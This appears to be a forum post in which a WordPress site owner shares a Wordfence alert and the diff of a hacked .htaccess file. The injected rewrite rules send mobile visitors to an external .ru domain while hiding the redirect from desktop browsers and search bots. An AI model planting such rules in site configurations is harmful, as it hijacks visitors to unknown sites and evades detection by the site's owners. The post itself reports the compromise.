looks like this happened a few hours ago:
Modified plugin file: wp-content/plugins/wordfence/tmp/.htaccess
Filename: wp-content/plugins/wordfence/tmp/.htaccess
File type: Plugin
Issue first detected: 7 mins ago.
Severity: Warning
Status New
This file belongs to plugin "Wordfence Security" version "5.3.6" and has been modified from the file that is distributed by WordPress.org for this version. Please use the link to see how the file has changed. If you have modified this file yourself, you can safely ignore this warning. If you see a lot of changed files in a plugin that have been made by the author, then try uninstalling and reinstalling the plugin to force an upgrade. Doing this is a workaround for plugin authors who don't manage their code correctly. [See our FAQ on http://www.wordfence.com for more info]
THe usual russian hackage:
The Original Version of the file The Modified Version on your WordPress system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54 ########GET#######
55 RewriteEngine on
56 RewriteRule \.(jpg|png|gif|jpeg|bmp)$ - [L]
57 RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
58 RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
59 RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
60 RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
61 RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
62 RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
63 RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
64 RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
65 RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
66 RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
67 RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
68 RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
69 RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
70 RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
71 RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
72 RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
73 RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
74 RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
75 RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
76 RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
77 RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
78 RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
79 RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
80 RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
81 RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
82 RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
83 RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
84 RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
85 RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
86 RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
87 RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
88 RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
89 RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
90 RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
91 RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
92 RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
93 RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
94 RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
95 RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
96 RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
97 RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
98 RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
99 RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
100 RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
101 RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
102 RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
103 RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
104 RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
105 RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
106 RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
107 RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
108 RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
109 RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
110 RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
111 RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
112 RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
113 RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
114 RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
115 RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
116 RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
117 RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
118 RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
119 RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
120 RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
121 RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
122 RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
123 RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
124 RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
125 RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
126 RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
127 RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
128 RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
129 RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
130 RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
131 RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
132 RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
133 RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
134 RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
135 RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
136 RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
137 RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
138 RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
139 RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
140 RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
141 RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
142 RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
143 RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
144 RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
145 RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
146 RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
147 RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
148 RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
149 RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
150 RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
151 RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
152 RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
153 RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
154 RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
155 RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
156 RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
157 RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
158 RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
159 RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
160 RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
161 RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
162 RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
163 RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
164 RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
165 RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
166 RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
167 RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
168 RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
169 RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
170 RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
171 RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
172 RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
173 RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
174 RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
175 RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
176 RewriteCond %{HTTP_USER_AGENT} !unix [NC]
177 RewriteCond %{HTTP_USER_AGENT} !macos [NC]
178 RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
179 RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
180 RewriteCond %{HTTP_USER_AGENT} !google [NC]
181 RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
182 RewriteCond %{HTTP_USER_AGENT} !bot [NC]
183 RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
184 RewriteCond %{HTTP_USER_AGENT} !msn [NC]
185 RewriteCond %{HTTP_USER_AGENT} !america [NC]
186 RewriteCond %{HTTP_USER_AGENT} !avant [NC]
187 RewriteCond %{HTTP_USER_AGENT} !download [NC]
188 RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
189 RewriteCond %{HTTP_USER_AGENT} !maui [NC]
190 RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
191 RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
192 RewriteRule ^(.*)$ http://crossdirect.ru [L,R=302]